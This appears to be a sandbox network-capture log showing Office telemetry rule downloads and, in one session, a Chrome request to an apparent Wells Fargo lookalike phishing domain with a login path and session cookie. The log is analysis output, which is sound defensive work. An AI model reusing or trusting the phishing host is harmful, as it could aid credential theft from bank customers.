2024-11-14 19:43:32 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:33 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 216c61d6-701e-001e-69a0-34f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194333Z-r178fb8d765mr9nqhC1DFWs8m8000000019g000000004az2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:33 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49902	103.114.163.132	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:33 UTC	469	OUT	GET /auth/login/present HTTP/1.1 Host: connect.secure.access.wellsfargoadvlsor.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 00c9-0b5c=cf55061804835399ef45e0f0cad55953fcf6b7a453364e2b56258747b27151f9

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:33 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:33 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 09d319c7-501e-008c-1e01-36cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194333Z-r178fb8d765ccg2khC1DFW5ttc00000000mg00000000vfpv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:33 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:33 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:33 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 4f50471b-101e-0079-73af-365913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194333Z-16547b76f7fr28cchC1DFWnuws0000000m6000000000gq4s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:33 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:33 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:33 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 09fdfe0c-501e-008c-6a0e-36cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194333Z-r178fb8d765tllwdhC1DFWaz8400000002zg00000000zha5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:34 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:33 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:34 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:33 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 1e70bdcb-401e-0029-2301-2d9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194333Z-16547b76f7f76p6chC1DFWctqw0000000m4g00000000r0xt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:34 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:33 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:33 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 4e6a8ad7-601e-000d-69a9-362618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194333Z-16547b76f7f8dwtrhC1DFWd1zn0000000m5000000000p6dh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 19:43:33 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:34 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:34 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:34 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: a4ba0423-501e-0029-6446-2cd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194334Z-16547b76f7fcrtpchC1DFW52e80000000m1000000000vtqv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:34 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:34 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:34 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:34 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 02e40e2a-001e-00a2-7a2b-36d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194334Z-16547b76f7fd4rc5hC1DFWkzhw00000000dg0000000078ts x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:34 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:34 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 5c60c0f5-901e-0067-06a2-34b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194334Z-1749fc9bdbdwv5sghC1DFWm75000000000kg00000000n531 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49909	13.107.246.45	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:35 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 53e82ad4-c01e-0046-11a0-342db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194335Z-1749fc9bdbdnkwnnhC1DFWud04000000031000000000136r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49912	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:35 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:35 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 6538f966-101e-00a2-58f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194335Z-16547b76f7f775p5hC1DFWzdvn0000000m3000000000bk3r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:35 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:35 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:35 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 29e284b5-001e-0065-5703-2d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194335Z-16547b76f7fknvdnhC1DFWxnys0000000m60000000006nnz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
